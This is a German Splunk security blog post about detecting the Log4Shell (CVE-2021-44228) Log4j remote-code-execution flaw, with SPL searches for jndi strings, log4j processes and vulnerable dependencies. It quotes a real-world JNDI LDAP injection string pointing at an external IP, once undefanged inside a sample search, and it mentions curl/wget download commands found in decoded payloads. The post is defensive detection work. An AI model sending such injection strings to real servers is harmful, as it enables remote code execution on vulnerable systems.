Log4Shell – Erkennung von Log4j 2 RCE mit Splunk

Autoren und Mitwirkende: Wie immer ist die Sicherheit bei Splunk ein gemeinschaftliches Unterfangen. Vielen Dank unseren Autoren und Mitarbeitern: Ryan Kovar, Shannon Davis, Marcus LaFerrera, John Stoner, James Brodsky, Dave Herrald, Audra Streetman, Johan Bjerke, Drew Church, Mick Baccio, Lily Lee, Tamara Chacon, Ryan Becwar.

Hinweis: Dieser Blog-Beitrag wurde das letzte Mal am 15.12.2021 aktualisiert. Splunk prüft derzeit die Auswirkungen auf die von uns unterstützten Produkte und evaluiert Optionen zur Abhilfe bzw. Schadensbegrenzung. Weitere Informationen erhaltet ihr in den Splunk Security-Tipps für Apache Log4j.

Wenn ihr nur sehen wollt, wie ihr Erkennungen für das Log4j 2 RCE finden könnt, könnt ihr zu den Abschnitten „Erkennungen“ springen. Andernfalls könnt ihr hier weiterlesen, um zu erfahren, was genau passiert ist, wie man es erkennen kann und welche MITRE ATT&CK-Zuordnungen bestehen.

Übersicht zu Log4j RCE

Eine schwerwiegende Sicherheitslücke (CVE-2021-44228) in der beliebten Open-Source-Protokollbibliothek Apache Log4j stellt eine Bedrohung für Tausende Anwendungen und Drittanbieterdienste dar, die diese Bibliothek nutzen. Proof-of-Concept-Code zeigt, dass eine RCE-Schwachstelle (Remote Code Execution) ausgenutzt werden kann, indem der Angreifer einen speziellen String einfügt, der daraufhin von Log4j protokolliert wird. Anschließend kann der Angreifer beliebigen Code von einer externen Quelle ausführen. Die Apache Software Foundation hat kürzlich einen Notfall-Patch für die Sicherheitslücke veröffentlicht. Betroffene Unternehmen sollten so schnell wie möglich ein Upgrade auf Log4j 2.15.0 durchführen oder die entsprechenden Abhilfemaßnahmen ergreifen, wenn ein Upgrade nicht möglich ist.

Die wichtigsten Informationen

Log4j wird von vielen verschiedenen Frameworks, Anwendungen und Tools genutzt. Laut Ars Technica wird Log4j sogar in mehreren beliebten Frameworks wie Apache Struts 2, Apache Solr, Apache Druid und Apache Flink verwendet. In vielen Fällen wissen die Systemadministratoren nicht einmal, dass Log4j in ihrer Umgebung verwendet wird. Um diese Sicherheitslücke auszunutzen, muss der Angreifer lediglich ein Log Event (Protokollereignis) auslösen, das den schädlichen String enthält. Allerdings gibt es einige Voraussetzungen, damit die Exploit-Kette erfolgreich ist, wie im Blogpost von LunaSec und im Apache Log4j Sicherheitshinweis beschrieben. Es ist zu beachten, dass Scannen nicht dasselbe ist wie aktive Ausnutzung.

• Die Version von Log4j muss >= 2.0-beta9 und <= 2.14.1 sein 
• Das Zielsystem muss für den Angreifer zugänglich sein, um die schädliche Payload senden zu können
• Die Anfrage des Angreifers muss über Log4j protokolliert werden

Im nächsten Abschnitt werden wir dies näher erläutern. Es gibt jedoch eine Vielzahl von Hosts, die das Internet nach potenziell gefährdeten Servern durchsuchen.

Sobald ein verwundbarer Host identifiziert ist, werden Patches und Abhilfemaßnahmen bereitgestellt. Es ist also nicht alles verloren.

Erkennen von Log4j 2 RCE in Splunk

Zurzeit findet eine Reihe von Netzwerk-Scans statt. Dieses Scannen liefert euch eine Reihe von IP-Adressen, die ihr zu euren Watchlists hinzufügen könnt. Da wir jedoch wissen, dass Angreifer ihre IP-Adressen so häufig wechseln wie ich mein Shirt (jeden Tag, übrigens), ist dies vielleicht nicht die beste Methode, um dieses Verhalten langfristig zu erkennen.

Positiv anzumerken ist, dass diese Aktivität derzeit als Teil des User-Agent-Feldes gesehen wird. Vielen Dank an GreyNoise dafür!

${jndi:ldap://45.155[.]205.233:12344/Basic/Command/Base64/U28gTG9uZywgYW5kIFRoYW5rcyBmb3IgQWxsIHRoZSBGaXNo}

(entschärft)

Das bedeutet, dass wir uns den Umschlag und nicht den darin befindlichen Brief ansehen können, um festzustellen, ob eine Aktivität vorliegt. In diesem Fall ist der Umschlag das Vorhandensein von ${jndi:ldap:// und wir müssen den base64-Code noch nicht knacken.

Um die Analogie von Brief und Umschlag auf die Spitze zu treiben: ldap ist nicht der einzige String, der auf ${jndi: folgt. Anstelle von ldap seht ihr vielleicht ldaps, rmi oder dns. Die gute Nachricht ist, dass wir ein paar Suchfunktionen bereitstellen, mit denen ihr diese Aktivität identifizieren könnt.

Um die ausgeführten Befehle zu verstehen und festzustellen, ob es sich um einen reinen Scan- oder Exploit-Befehl handelt, ist natürlich eine Analyse der verschlüsselten Strings erforderlich. Weil diese Situation jedoch neu ist und sich noch entwickelt, möchten wir nicht den Fokus darauf verlieren, alle Orte zu identifizieren, an denen jndi festgestellt wird.

Indicators of Compromise (IOCs)

Es ist wichtig, anzumerken, dass ein Großteil der gemeldeten Scans den String ${jndi im User-Agent-Feld aufgedeckt hat. Der String könnte aber auch an anderen Stellen gefunden werden. Hierfür haben wir eine erste Suche nach einem Teil des schädlichen User-Agent sowie eine zweite, umfassendere Suche nach dem verdächtigen String an anderer Stelle entwickelt.

sourcetype=bro:http:json user_agent=${jndi:*}
| stats sparkline values(user_agent) count by src_ip, dest_ip, dest_port

Ich weiß, ihr denkt jetzt: „Aber was ist, wenn sich der String an einem anderen Ort als user_agent versteckt?“ Nun, dann wird es etwas schwieriger. Wenn ein bestimmtes Feld nicht isoliert werden kann, muss eine unstrukturierte Suche wie diese durchgeführt werden:

index=* ${jndi:*}

Dies ist eine sehr aufwendige Suche, da sie wie gesagt unstrukturiert ist und einen Platzhalter enthält. Man sollte jedoch nichts unversucht lassen. Wenn ihr zusätzliche Suchkriterien habt, um eure Suche einzugrenzen, wie z.B. bestimmte Asset-Adressbereiche oder Gerätekategorisierungen, wäre das ebenfalls hilfreich, um den Aufwand dieser Suche zu reduzieren. Eine weitere Möglichkeit, den Aufwand dieser Suche zu reduzieren, besteht in der Nutzung eurer beschleunigten Datenmodelle aus unserem Common Information Model. Zum Beispiel ist http_user_agent ein Feld im Web-Datenmodell und kann mit „tstats“-Techniken durchsucht werden, z.B. mit denjenigen, auf die im nächsten Abschnitt eingegangen wird.

Denkt daran: Nur weil ihr diese Aktivität entdeckt, bedeutet das nicht, dass ihr kompromittiert wurdet. Es bestätigt jedoch, dass jemand an eure Tür klopft und möglicherweise bald versuchen wird, einzutreten. Um festzustellen, ob eine Sicherheitsverletzung oder ein Exploit stattgefunden hat, müssen die Systeme, in denen diese Aktivitäten festgestellt werden, eingehender untersucht werden.

Das bringt uns zurück zu kodierten Strings, die entdeckt werden. Anfangs haben wir gesagt, dass unser Fokus auf dem Umschlag und nicht auf dem Brief liegt. Jetzt ist es an der Zeit, sich den Brief anzusehen. Im folgenden Beispiel haben wir ein Feld mit dem Namen „test“, das den oben erwähnten String enthält. Um diesen String und andere, die ihr in Splunk entdecken könnt, zu analysieren, können wir eine App installieren, die base64 für alle Ereignisse dekodiert, die euren Suchkriterien entsprechen. In diesem Fall verwenden wir CyberChef for Splunk, es kann jedoch jeder base64-Decoder verwendet werden. In diesem Fall ist unser Angreifer so freundlich, seinem base64-Befehl den String /Base64/ voranzustellen, sodass unser rex-Befehl nach diesem String sucht, um die Erfassung zu starten.

Natürlich müsst ihr euren rex-Befehl im Laufe der Zeit noch anpassen, aber das hier ist schon mal ein guter Anfang. Mit einem base64-Decoder erhalten wir ein Ergebnisfeld, wie ihr es unten sehen könnt, das eine curl-Anweisung mit wget und den zugehörigen IP-Adressen anzeigt. Diese IP-Adressen könnt ihr in eure Beobachtungslisten aufnehmen. Möglicherweise werden in diesen Ergebnissen auch andere Schmankerl aufgedeckt.

Da wir keine Strings in unserem Blog veröffentlichen möchten, die zum Scannen einer Website ausgeführt werden, haben wir die base64 extrahiert und ein Beispiel dafür eingefügt, wie das Ganze aussehen könnte. Das Bild unten ist der entschlüsselte Befehl, aber die Suche, die ihr kopieren und einfügen könnt, wird ein anderes Ergebnis liefern. Das Konzept bleibt jedoch gleich.

| makeresults 
| eval test="${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/U28gTG9uZywgYW5kIFRoYW5rcyBmb3IgQWxsIHRoZSBGaXNo}"
| rex field=test "\/Base64\/(?\S+)}"
| table string
| cyberchef infield=string outfield=result operation=FromBase64

Aber Moment mal – wo könnte Log4j bei mir sein?

Wie bereits erwähnt, gibt es eine Vielzahl von Anwendungen, Frameworks und Tools, die Log4j nutzen können. Um herauszufinden, inwieweit ihr dieser RCE-Schwachstelle ausgesetzt seid, können wir uns wieder einmal auf die Protokollierung der Prozessausführung in eurer Umgebung verlassen, um Beweise für Log4j-Aktivitäten zu finden. Und wenn ihr sie konfiguriert habt, können wir auch nach Beweisen für die Erstellung/Änderung von Dateien mit Log4j im Namen oder im Pfad suchen. Da der Aufruf von Log4j in der Regel sehr ausführlich ist, könnt ihr ihn möglicherweise beim Schreiben von Dateien oder bei der Ausführung über die Befehlszeile erkennen.

Beide Suchvorgänge werden natürlich sehr umfangreich sein, aber da Log4j selbst so weit verbreitet ist, können wir mit Splunk schnell unsere Umgebung durchsuchen, um mögliche Risiken zu ermitteln.

Nehmen wir an, ihr erstellt Prozessausführungsprotokolle, weil wir euch das ungefähr seit der Kohl-Regierung empfehlen. Wir haben uns dabei von unseren Freunden bei CrowdStrike inspirieren lassen, die heute auf Reddit eine Suche gepostet haben, die unter anderem die Prozessausführungsprotokolle von Falcon nach Hinweisen auf Log4j durchsucht. Jedoch nutzen nicht alle unsere Kunden Falcon. Wie können wir also eine ähnliche Suche entwickeln, die mit allen Arten von Prozessausführungsprotokollen in Splunk funktionieren sollte, unabhängig von der Quelle?

Die Antwort liegt im Endpunkt-Datenmodell unseres gemeinsamen Informationsmodells (Common Information Model), das die Details der Prozessausführung in Felder wie process und parent_process normalisiert. Wenn ihr dieses Datenmodell beschleunigt (was ihr tun solltet), könnt ihr sehr schnell eine komplette Umgebung durchsuchen. Eine Suche wie diese ...

| tstats summariesonly=t values(Processes.parent_process) AS parent_process,values(Processes.process) AS process,latest(_time) AS latest,earliest(_time) AS earliest from datamodel=Endpoint.Processes where (Processes.parent_process="*log4j*" OR Processes.process="*log4j*") by host 
| eval _time=latest
| reltime 
| fields - _time
| convert ctime(latest), ctime(earliest)
| table host parent_process process reltime latest earliest

... zeigt schnell die Hosts an, die Prozesse mit „log4j“ irgendwo im Namen oder im Namen der übergeordneten ausführbaren Datei ausführen.

Wenn ihr das Endpoint.Processes-Datenmodell nicht übernommen oder beschleunigt habt, wird dies schwieriger und viel langsamer sein, und ihr müsst eure Suchen entsprechend anpassen. Eure Endpunktlösung protokolliert jedoch die Prozessausführungen. Wenn ihr noch auf der Suche nach Endpunkt-Erkennungsfunktionen seid, ist Microsoft Sysmon seit langem einer unserer Favoriten – und Microsoft hat es kürzlich auch für Linux veröffentlicht!

Hier ist eine grobe Ereignissuche, mit der ihr alle Prozesse oder übergeordneten Prozesse mit „log4j“ im Namen anhand von Sysmon-Daten (sowohl Linux als auch Windows) finden könnt.

index=main (source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" OR source="Journald:Microsoft-Windows-Sysmon/Operational") EventCode=1 (CommandLine=*log4j* OR ParentCommandLine=*log4j*)
| table _time,host,CommandLine,ParentCommandLine

Eine andere Methode, um das Vorhandensein von Log4j auf euren Systemen festzustellen, ist die Nutzung von Dateierstellungsprotokollen, z. B. EventCode 11 in Sysmon. Diese Arten von Ereignissen werden in das Endpoint.Filesystem -Datenmodell eingefügt und mit ein paar netten Tricks mit tstats könnt ihr sogar das Dateierstellungsereignis mit den Prozessinformationen korrelieren, die das Ereignis verursacht haben. Die folgende Suche bietet einen Ausgangspunkt für diese Art der Suche, aber die zweite tstats-Klausel kann in großen Umgebungen eine Menge Daten ausgeben:

| tstats summariesonly=t prestats=t count,values(Filesystem.file_path) AS filepath,values(Filesystem.file_name) latest(_time) AS latest,earliest(_time) AS earliest from datamodel=Endpoint.Filesystem where (Filesystem.file_path="*log4j*" OR Filesystem.file_name="*log4j*") by Filesystem.process_guid
| tstats summariesonly=t prestats=t append=t count,values(Processes.process) as process,values(Processes.process_id) values(host) latest(_time) AS latest,earliest(_time) AS earliest from datamodel=Endpoint.Processes by Processes.process_guid
| eval GUID = coalesce('Processes.process_guid','Filesystem.process_guid')
| eval _time=coalesce('Filesystem.latest','Processess.latest')
| convert ctime(_time)
| stats values(Processes.process) as process, values(Processes.process_id) as process_id values(host) as host, values(Filesystem.file_path) as path ,values(Filesystem.file_name) as file_name latest(_time) as latest_time by GUID
| convert ctime(latest_time)
| search process=* path=* file_name=*
| fields - GUID

Verwendung von GitHub-Daten in Splunk, um Log4j in euren Projekten zu finden

Wenn ihr Softwareentwickler seid und euer Quellcode in einer GitHub-Organisation oder einem GitHub-Unternehmen liegt, könnt ihr die Sicherheitsfunktionen von GitHub nutzen, um auf anfällige Abhängigkeiten wie Log4j hinzuweisen. Mit dem GitHub Audit Log Monitoring Add-On für Splunk und der GitHub App für Splunk ist es einfach, Schwachstellen zu erkennen, sobald GitHub sie direkt in Splunk entdeckt. Ihr könnt diese Daten nutzen, um Alarme auszugeben, Projekte zu identifizieren, die gepatcht werden müssen, oder einfach nur, um anderen Daten in Splunk einen Kontext zu verleihen. Hier ist ein Video von Splunker Doug Erkkila, in dem er die Konfiguration beschreibt, um GitHub-Prüfprotokolldaten in Splunk zu erhalten. Um die umfassendsten Sicherheitsdaten von GitHub zu erhalten, müsst ihr die WebHook-Daten mit dem Splunk HTTP Event Collector sammeln. Eine Konfigurationsanleitung für WebHook-Daten findet ihr hier.

Hier ist ein Beispiel für eine Warnmeldung, die auf ein Projekt (in diesem Fall eine frühere Version von Apache Struts) hinweist, das eine Abhängigkeit zu einer angreifbaren Version von log4j-api enthält.

sourcetype=github_json "alert.affected_package_name"="org.apache.logging.log4j:log4j-api"

Splunk Enterprise Security und ESCU

Know thyself (Erkenne dich selbst)

Nachdem wir nun einige Zeit damit verbracht haben, diesen Angriff zu erklären, und zu betonen, dass Anstrengungen unternommen werden müssen, um ihn zu untersuchen, ist es ebenfalls wichtig, zu betonen, dass die Grundlagen von zentraler Bedeutung sind. Grundlegendes Asset Management - hoffentlich mittels eueres Asset- und Identity-Frameworks - zeigen euch, wo sich eure anfälligen System befinden. Regelmäßige Schwachstellen-Scans, die in Splunk integriert sind, zeigen an, welche Systeme anfällig sind, und können euch helfen, eure Patching-Pläne zu priorisieren und eure Anstrengungen zur Erkennung von Angriffen besser zu fokussieren.

Diese Schwachstelle heißt CVE-2021-44228 und wurde gerade veröffentlicht. Aufgrund des potenziellen Ausmaßes und der Tragweite dieser Schwachstelle haben die Scanner diese jedoch schnell in ihre Bibliotheken aufgenommen. Währenddessen wäre es ratsam, die Systeme, auf denen die log4j-core-Bibliotheken und diese spezielle Schwachstelle ausgeführt werden, zu identifizieren und gezielt zu scannen, um die Abhilfemaßnahmen zu konzentrieren.

Enterprise Security Content Updates (ESCU)

Für alle, die ESCU nutzen, wird unser Security Research Team so schnell wie möglich eine neue Splunk Analytic Story veröffentlichen, die Erkennungsmöglichkeiten für diese Bedrohung enthält.

Splunk Services

Unser Team von Sicherheitsexperten, die Teil unseres Splunk Professional Services Teams sind, können euch bei der Umsetzung der hier genannten Punkte helfen. Darüber hinaus stellen wir auch gezieltere Angebote zur Verfügung, die euch helfen können, eure Sicherheitslage zu verbessern.

Splunk Services for Breach Response and Readiness - Services für die Vorbereitung und Reaktion auf Sicherheitsverletzungen

Hier geht es darum, wie Splunk euch bei der Vorbereitung auf Sicherheitsverletzungen helfen kann und wir ihr mit mit unseren Produkten darauf reagieren könnt. Unsere Experten sind für euch da, um euch auf Sicherheitsverletzungen vorzubereiten:

• Schnelle Identifizierung und Erfassung von Datenquellen
• Wie man Bedrohungsdaten einbezieht und nutzt
• Vorgefertigte Inhalte mit Suchfunktionen und Dashboards, um schnellere Untersuchungen und Abhilfemaßnahmen zu ermöglichen
• Taktische Reaktionsplanung
• Praktische Übungen, um zu überprüfen, wie ihr mit euren vorhandenen Splunk-Produkten reagieren könnt

MITRE ATT&CK

Nach Durchsicht von so ungefähr allen Blogeinträgen im Internet haben wir die Aktivitäten zur Ausnutzung der Schwachstelle MITRE ATT&CK zugeschrieben. Sobald mehr Informationen verfügbar sind und weitere ATT&CK TTPs bekannt werden, werden wir diese Tabelle um neue Suchen ergänzen.

Fazit: Patchen, patchen, patchen

Wir wissen, dass es sich bei Log4j 2 RCE um eine signifikante Schwachstelle handelt und dass Kunden so schnell wie möglich patchen sollten, um festzustellen, ob sie der Vergangenheit von diesem Angriff betroffen waren. Wenn ihr noch nicht gepatcht habt (haben wir alle schon erlebt), verschaffen dir diese Suchen hoffentlich einen besseren Einblick in eure Umgebungen. Wenn sie nicht perfekt funktionieren, betrachtet sie als „Splunkspiration“. Sobald wir weitere Informationen haben, werden wir diesen Blogeintrag aktualisieren. Wie bereits erwähnt, solltet ihr außerdem nach weiteren Erkennungen unseres Threat Research Teams Ausschau halten, die über Enterprise Security Content Updates veröffentlicht werden.

----------------------------------------------------
Thanks!
Splunk